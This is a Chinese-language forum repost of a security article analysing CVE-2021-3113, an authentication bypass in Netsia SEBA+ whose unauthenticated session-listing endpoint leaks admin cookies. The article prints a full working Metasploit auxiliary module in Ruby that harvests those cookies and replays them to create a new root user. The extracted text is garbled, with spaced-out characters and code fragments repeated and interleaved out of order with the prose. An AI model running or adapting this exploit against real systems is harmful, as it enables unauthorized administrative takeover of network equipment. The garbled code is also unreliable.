搜索

[16446] 2021-02-16_CVE-2021-3113：Netsia-SEBA认证绕过漏洞分析

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2021-02-16_CVE-2021-3113：Netsia-SEBA认证绕过漏洞分析 C V E - 2 0 2 1 - 3 1 1 3 ： N e t s i a - S E B A 认 证 绕 过 漏 洞 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 1 6 写 在 前 面 的 话 写 在 前 面 的 话 这 个 漏 洞 是 我 在 一 次 渗 透 测 试 过 程 中 发 现 的 ， 并 且 已 经 提 交 给 厂 商 了 ， 目 前 厂 商 也 已 经 修 复 了 该 漏 洞 。 E x p l o i t - D B ： 点 击 底 部 【 阅 读 原 文 】 获 取 C V E - M i t r e ： 点 击 底 部 【 阅 读 原 文 】 获 取 n e t s i a _ s e b a _ a d d _ u s e r . r b   ( M e t a s p l o i t ) ： 点 击 底 部 【 阅 读 原 文 】 获 取 漏 洞 分 析 漏 洞 分 析 不 幸 的 是 ， 由 于 我 无 法 访 问 到 产 品 的 源 代 码 ， 因 此 我 无 法 跟 大 家 详 细 描 述 该 漏 洞 的 原 始 成 因 。 在 应 用 程 序 中 ， 对 “ “ A c t i v e   S e s s i o n s ” 部 分 H T T P 请 求 可 以 由 r o o t / a d m i n 用 户 访 问 ， 而 不 需 要 任 何 会 话 （ c o o k i e ） 信 息 。 因 此 ， 我 们 就 可 以 从 响 应 中 读 取 应 用 程 序 中 活 动 用 户 的 会 话 c o o k i e 信 息 内 容 。 需 要 注 意 的 是 ， 我 们 无 法 在 应 用 程 序 的 其 他 地 方 发 送 类 似 的 请 求 。 换 句 话 说 ， 我 们 只 能 在 “ A c t i v e   S e s s i o n s ” 这 里 才 能 够 在 没 有 会 话 信 息 的 情 况 下 发 送 这 种 请 求 。 通 过 执 行 “ G E T   / s e s s i o n / l i s t / a l l A c t i v e S e s s i o n ” 请 求 ， 我 们 可 以 通 过 获 取 响 应 返 回 的 会 话 信 息 来 获 取 授 权 用 户 的 c o o k i e 值 。 此 时 ， 我 们 手 上 是 有 一 个 c o o k i e 值 的 ， 但 会 话 很 可 能 马 上 就 结 束 了 。 所 以 最 好 的 攻 击 向 量 就 是 创 建 一 个 新 用 户 。 因 此 ， 我 们 可 以 在 “ P O S T   / a u t h e n t i c a t i o n   s e r v e r / u s e r / a d d ” 字 段 中 附 带 请 求 所 必 须 的 数 据 来 向 应 用 程 序 添 加 一 个 新 的 r o o t 用 户 。 在 上 图 所 执 行 的 攻 击 中 ， 在 获 得 登 录 用 户 的 c o o k i e 值 后 ， 未 经 授 权 的 攻 击 者 可 以 通 过 将 此 c o o k i e 值 放 置 在 用 户 添 加 请 求 中 来 创 建 具 有 完 整 权 限 的 新 用 户 ， 具 体 如 下 图 所 示 ：
如 上 图 所 示 ， H T T P 响 应 表 明 请 求 的 用 户 已 成 功 添 加 。 稍 后 ， 攻 击 者 可 以 轻 松 地 使 用 这 个 具 有 完 整 权 限 的 用 户 登 录 到 应 用 程 序 并 执 行 所 有 其 他 操 作 。 漏 洞 利 用 高 级 开 发 （ 漏 洞 利 用 高 级 开 发 （ M S F ： ： A u x i l i a r y ） ） 关 于 关 于 A u x i l i a r y 模 块 模 块 M e t a s p l o i t 框 架 包 括 数 百 个 执 行 扫 描 ， 模 糊 （ 漏 洞 检 查 ） ， 嗅 探 等 辅 助 模 块 。 虽 然 这 些 模 块 不 会 给 你 一 个 外 壳 ， 但 它 们 在 进 行 渗 透 测 试 时 非 常 有 价 值 。 “ s h o w   a u x i l i a r y ” 可 以 显 示 所 有 的 辅 助 模 块 ： 漏 洞 利 用 模 块 通 常 是 为 在 系 统 上 执 行 命 令 而 编 写 的 ， 而 M S F 的 A u x i l i a r y 适 用 于 各 种 常 见 类 型 的 漏 洞 ， 比 如 说 从 目 标 主 机 获 取 信 息 ， 或 利 用 目 标 主 机 中 的 现 有 漏 洞 来 创 建 新 的 攻 击 向 量 。 因 此 ， 我 们 可 以 利 用 M S F 的 A u x i l i a r y 模 块 来 对 这 个 漏 洞 进 行 利 用 设 计 。 此 时 不 会 生 成 P a y l o a d ， 因 为 我 们 没 有 选 择 M s f : : E x p l o i t : : R e m o t e 。 接 下 来 ， 我 们 将 分 配 用 户 名 和 密 码 作 为 注 册 选 项 。 这 里 使 用 的 是 R e x : : T e x t . r a n d _ t e x t _ a l p h a n u m e r i c ( ) 函 数 来 生 成 密 码 随 机 值 ， 该 功 能 可 以 为 漏 洞 利 用 提 供 便 利 。 接 下 来 ， 请 求 “ / s e s s i o n / l i s t / a l l A c t i v e S e s s i o n ” ， 并 根 据 响 应 进 行 检 查 。 如 果 响 应 中 包 含 “ s e s s i o n I d ” ， 则 表 示 存 在 活 动 会 话 。 如 果 没 有 “ s e s s i o n I d ” 且 包 含 “ S U C C E S S ” ， 则 表 示 应 用 程 序 易 受 攻 击 ， 但 没 有 活 动 会 话 。 c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : A u x i l i a r y r e g i s t e r _ o p t i o n s (             [                 O p t : : R P O R T ( 4 4 3 ) ,                 O p t S t r i n g . n e w ( ' U S E R N A M E ' ,   [ t r u e ,   ' T h e   u s e r n a m e   f o r   y o u r   n e w   a c c o u n t ' ] ) ,                 O p t S t r i n g . n e w ( ' P A S S W O R D ' ,   [ t r u e ,   ' T h e   p a s s w o r d   f o r   y o u r   n e w   a c c o u n t ' ,   R e x : : T e x t . r a n d _ t e x t _ a l p h a n u m e r i c ( 1 4 ) ] )             ] ) d e f   c h e c k         b e g i n         r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         r e s c u e             r e t u r n   E x p l o i t : : C h e c k C o d e : : U n k n o w n         e n d         i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' s e s s i o n I d '                   r e t u r n   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e         e l s e               i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' S U C C E S S '                   p r i n t _ s t a t u s ( " T a r g e t   i s   v u l n e r a b l e !   B u t   a c t i v e   a d m i n   s e s s i o n   w a s   n o t   f o u n d .   T r y   a g a i n   l a t e r . " )                   r e t u r n   E x p l o i t : : C h e c k C o d e : : A p p e a r s
如 上 所 述 的 检 查 模 块 就 足 以 完 成 该 过 程 ， 我 们 不 需 要 让 A u x i l i a r y 去 运 行 不 必 要 的 检 测 ， 因 为 如 果 目 标 不 存 在 漏 洞 ， 则 执 行 其 他 操 作 毫 无 意 义 。 接 下 来 ， 我 们 就 可 以 开 始 编 写 漏 洞 利 用 代 码 了 。 首 先 ， 我 们 需 要 了 解 N e t s i a   S E B A + 应 用 程 序 中 有 多 少 活 动 会 话 。 因 为 可 以 有 多 个 用 户 处 于 活 动 状 态 ， 其 中 一 些 可 能 不 是 授 权 用 户 ， 而 我 们 需 要 使 用 权 限 最 高 的 活 跃 用 户 来 进 行 攻 击 。 因 此 ， 我 决 定 创 建 一 个 单 独 的 计 数 方 法 。 我 们 将 把 H T T P 响 应 指 定 为 数 据 ， 并 且 查 找 字 符 串 “ s e s s i o n I d ” 。 这 样 一 来 ， 返 回 的 响 应 中 “ s e s s i o n I d ” 的 数 量 就 意 味 着 有 同 样 多 的 用 户 处 于 活 动 状 态 ， 稍 后 我 们 还 需 要 提 取 这 些 s e s s i o n I d 值 。 以 上 部 分 完 成 了 第 一 步 操 作 ， 接 下 来 需 要 提 取 s e s s i o n I d 值 。 “ s e s s i o n I d ” ： “ 和 ” “ a c t i o n ” 之 间 的 部 分 是 s e s s i o n I d 在 响 应 中 的 值 ， 我 们 可 以 使 用 s c a n   ( ) 函 数 来 搜 索 正 则 表 达 式 ( [ S s ] * ? ) 来 实 现 我 们 的 目 标 。 在 上 述 过 程 中 ， c o o k i e s [ 0 ] 将 是 第 一 个 用 户 的 s e s s i o n I d 值 ， 而 c o o k i e s [ 1 ] 则 是 第 二 个 用 户 的 s e s s i o n I d 值 ， 此 时 计 数 + 1 。 现 在 ， 我 们 将 应 用 一 个 非 常 简 单 的 向 量 来 进 行 开 发 。 我 们 将 发 送 一 个 包 含 所 有 活 动 c o o k i e 值 的 用 户 创 建 请 求 ， 无 论 这 些 c o o k i e 中 的 哪 一 个 被 授 权 ， 它 都 将 在 我 们 想 要 的 用 户 数 据 库 中 创 建 新 用 户 。 在 这 里 我 选 择 使 用 w h i l e 循 环 。 例 如 ， 有 7 个 活 动 用 户 ， 而 这 个 循 环 将 为 c o o k i e s [ i n t ] 变 量 中 的 值 加 上 + 1 ， 并 发 出 各 种 可 能 的 请 求 。 像 上 面 这 样 的 循 环 对 于 这 个 向 量 就 足 够 了 。 最 后 ， 我 们 需 要 检 查 请 求 是 否 成 功 。                   r e t u r n   E x p l o i t : : C h e c k C o d e : : A p p e a r s               e n d         e n d         r e t u r n   E x p l o i t : : C h e c k C o d e : : S a f e     E n d u n l e s s   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e   = =   c h e c k             f a i l _ w i t h ( F a i l u r e : : N o t V u l n e r a b l e ,   ' T a r g e t   i s   n o t   v u l n e r a b l e . ' ) E n d d e f   c o u n t _ u s e r ( d a t a ,   f i n d _ s t r i n g )         d a t a . s c a n ( / ( ? = # { f i n d _ s t r i n g } ) / ) . c o u n t     E n d r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         s e s c o u n t   =   c o u n t _ u s e r ( r e s . b o d y , ' " n a m e " ' ) p r i n t _ g o o d ( " C u r r e n t l y   # { s e s c o u n t }   a c t i v e   s e s s i o n s   h a v e   b e e n   d e t e c t e d . " ) c o o k i e s   =   r e s . b o d y . s c a n ( / s e s s i o n I d " : " ( [ S s ] * ? ) " , " a c t i o n / ) w h i l e   $ i   < =   s e s c o u n t     d o               s e s s l o o p   =   c o o k i e s [ $ i ]               s e s s i d   =   " S E S S I O N = "   +   s e s s l o o p . t o _ s               c o o k i e   =   s e s s i d . s p l i t ( ' " ] ' ) . j o i n ( ' ' ) . s p l i t ( ' [ " ' ) . j o i n ( ' ' )               $ i   + = 1               j s o n _ d a t a = [ . . . . . . . . ]               r e s   =   s e n d _ r e q u e s t _ r a w ( {                                 ' m e t h o d '   = >   ' P O S T ' ,                               ' c t y p e '     = >   ' a p p l i c a t i o n / j s o n ' ,                                 ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   ' a u t h e n t i c a t i o n - s e r v e r ' ,   ' u s e r ' ,   ' a d d ' ) ,                                                                   ' c o o k i e '   = >   c o o k i e ,                                                                   ' d a t a '   = >   j s o n _ d a t a                               } )           E n d
如 果 创 建 了 所 需 的 用 户 ， 它 将 提 供 信 息 并 返 回 新 创 建 的 用 户 信 息 。 漏 洞 利 用 实 践 漏 洞 利 用 实 践 A u x i l i a r y 模 块 现 在 已 完 成 ， 接 下 来 我 们 将 所 有 内 容 整 合 在 一 起 ： i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' " S U C C E S S " '                         p r i n t _ g o o d ( " E x c e l l e n t !   U s e r   # { d a t a s t o r e [ " U S E R N A M E " ] }   w a s   a d d e d   s u c c e s s f u l l y   w i t h   r o o t ,   a d m i n   a n d   d e f a u l t   p r i v i l e g e s . " )                   p r i n t _ g o o d ( " U s e r n a m e   :   # { d a t a s t o r e [ " U S E R N A M E " ] } " )                   p r i n t _ g o o d ( " P a s s w o r d   :   # { d a t a s t o r e [ " P A S S W O R D " ] } " )                   b r e a k               E n d # # #   T h i s   m o d u l e   r e q u i r e s   M e t a s p l o i t :   h t t p s : / / m e t a s p l o i t . c o m / d o w n l o a d #   C u r r e n t   s o u r c e :   h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k # # c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : A u x i l i a r y     i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : H t t p C l i e n t     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r ( u p d a t e _ i n f o ( i n f o ,             ' N a m e '                       = >   ' N e t s i a   S E B A +   < =   0 . 1 6 . 1   A u t h e n t i c a t i o n   B y p a s s   a n d   A d d   R o o t   U s e r '   ,             ' D e s c r i p t i o n '         = >   % q {                 T h i s   m o d u l e   e x p l o i t s   a n   a u t h e n t i c a t i o n   b y p a s s   i n   N e t s i a   S E B A + ,   t r i g g e r e d   b y   a d d   n e w   r o o t / a d m i n   u s e r .                 H T T P   r e q u e s t s   m a d e   t o   t h e   " A c t i v e   S e s s i o n s "   s e c t i o n   w h i c h   c a n   b e   a c c e s s e d   b y   r o o t / a d m i n   u s e r ,                 c a n   b e   p e r f o r m e d   w i t h o u t   t h e   n e e d   f o r   a n y   s e s s i o n ( c o o k i e )   i n f o r m a t i o n .                 T h e r e f o r e ,   t h e   s e s s i o n   c o o k i e   i n f o r m a t i o n s   o f   t h e   a c t i v e   u s e r s   i n   t h e   a p p l i c a t i o n   c a n   b e   r e a d   f r o m   t h e   r e s p o n s e   c o n t e n t .                 A   n e w   a u t h o r i z e d   u s e r   c a n   b e   c r e a t e d   w i t h   t h e   o b t a i n e d   c o o k i e .             } ,             ' R e f e r e n c e s '           = >                 [                     [   ' C V E ' ,   ' '   ] ,                     [   ' U R L ' ,   ' h t t p s : / / w w w . p e n t e s t . c o m . t r / e x p l o i t s / N e t s i a - S E B A - 0 - 1 6 - 1 - A u t h e n t i c a t i o n - B y p a s s - A d d - R o o t - U s e r - M e t a s p l o i t . h t m l '   ] ,                     [   ' U R L ' ,   ' h t t p s : / / w w w . n e t s i a . c o m '   ]                 ] ,             ' A u t h o r '                   = >                 [                     ' Ö z k a n   M u s t a f a   A K K U Ş   '   #   D i s c o v e r y   &   P o C   &   M S F   M o d u l e   @ e h a k k u s                 ] ,             ' L i c e n s e '                 = >   M S F _ L I C E N S E ,             ' D i s c l o s u r e D a t e '   = >   " 2 0 2 1 - 0 1 - 0 6 " ,             ' D e f a u l t O p t i o n s '   = >   {   ' S S L '   = >   t r u e   }         ) )         r e g i s t e r _ o p t i o n s (             [
                O p t : : R P O R T ( 4 4 3 ) ,                 O p t S t r i n g . n e w ( ' U S E R N A M E ' ,   [ t r u e ,   ' T h e   u s e r n a m e   f o r   y o u r   n e w   a c c o u n t ' ] ) ,                 O p t S t r i n g . n e w ( ' P A S S W O R D ' ,   [ t r u e ,   ' T h e   p a s s w o r d   f o r   y o u r   n e w   a c c o u n t ' ,   R e x : : T e x t . r a n d _ t e x t _ a l p h a n u m e r i c ( 1 4 ) ] )             ] )     e n d     d e f   p e e r         " # { s s l   ?   ' h t t p s : / / '   :   ' h t t p : / / '   } # { r h o s t } : # { r p o r t } "     e n d     d e f   c h e c k         b e g i n         r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         r e s c u e             r e t u r n   E x p l o i t : : C h e c k C o d e : : U n k n o w n         e n d         i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' s e s s i o n I d '                   r e t u r n   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e         e l s e               i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' S U C C E S S '                   p r i n t _ s t a t u s ( " T a r g e t   i s   v u l n e r a b l e !   B u t   a c t i v e   a d m i n   s e s s i o n   w a s   n o t   f o u n d .   T r y   a g a i n   l a t e r . " )                   r e t u r n   E x p l o i t : : C h e c k C o d e : : A p p e a r s               e n d         e n d         r e t u r n   E x p l o i t : : C h e c k C o d e : : S a f e     e n d     d e f   c o u n t _ u s e r ( d a t a ,   f i n d _ s t r i n g )         d a t a . s c a n ( / ( ? = # { f i n d _ s t r i n g } ) / ) . c o u n t     e n d     d e f   r u n         u n l e s s   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e   = =   c h e c k             f a i l _ w i t h ( F a i l u r e : : N o t V u l n e r a b l e ,   ' T a r g e t   i s   n o t   v u l n e r a b l e . ' )         e n d         r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         s e s c o u n t   =   c o u n t _ u s e r ( r e s . b o d y , ' " n a m e " ' )         p r i n t _ g o o d ( " C u r r e n t l y   # { s e s c o u n t }   a c t i v e   s e s s i o n s   h a v e   b e e n   d e t e c t e d . " )
接 下 来 ， 我 们 就 可 以 使 用 A u x i l i a r y 模 块 来 进 行 漏 洞 利 用 了 ： 漏 洞 修 复 漏 洞 修 复         c o o k i e s   =   r e s . b o d y . s c a n ( / s e s s i o n I d " : " ( [ S s ] * ? ) " , " a c t i o n / )         p u t s   c o o k i e s         $ i   =   0         w h i l e   $ i   < =   s e s c o u n t     d o               s e s s l o o p   =   c o o k i e s [ $ i ]               s e s s i d   =   " S E S S I O N = "   +   s e s s l o o p . t o _ s               c o o k i e   =   s e s s i d . s p l i t ( ' " ] ' ) . j o i n ( ' ' ) . s p l i t ( ' [ " ' ) . j o i n ( ' ' )               $ i   + = 1               j s o n _ d a t a = ' { " d a t a " :   { " p a s s w o r d " :   " '   +   d a t a s t o r e [ " P A S S W O R D " ]   +   ' " ,   " r o l e s " :   [ { " l o c a t i o n s " :   [ ] ,   " n a m e " :   " a d m i n " ,   " p e r m L i s t " :   [ { " d a t a " :   [ " / a l a r m - m a n a g e r / a l a r m / d e f i n i t i o n / l i s t "               r e s   =   s e n d _ r e q u e s t _ r a w ( {                                 ' m e t h o d '   = >   ' P O S T ' ,                               ' c t y p e '     = >   ' a p p l i c a t i o n / j s o n ' ,                                 ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   ' a u t h e n t i c a t i o n - s e r v e r ' ,   ' u s e r ' ,   ' a d d ' ) ,                                                                   ' c o o k i e '   = >   c o o k i e ,                                                                   ' d a t a '   = >   j s o n _ d a t a                               } )               i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' " S U C C E S S " '                         p r i n t _ g o o d ( " E x c e l l e n t !   U s e r   # { d a t a s t o r e [ " U S E R N A M E " ] }   w a s   a d d e d   s u c c e s s f u l l y   w i t h   r o o t ,   a d m i n   a n d   d e f a u l t   p r i v i l e g e s . " )                   p r i n t _ g o o d ( " U s e r n a m e   :   # { d a t a s t o r e [ " U S E R N A M E " ] } " )                   p r i n t _ g o o d ( " P a s s w o r d   :   # { d a t a s t o r e [ " P A S S W O R D " ] } " )                   b r e a k               e n d           e n d     e n d e n d
N e t s i a 现 已 修 复 了 这 个 漏 洞 ， 如 果 没 有 授 权 的 c o o k i e ， 则 无 法 再 发 送 此 请 求 。 即 使 您 是 授 权 的 管 理 员 用 户 ， 也 会 看 到 会 话 c o o k i e s 被 过 滤 掉 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理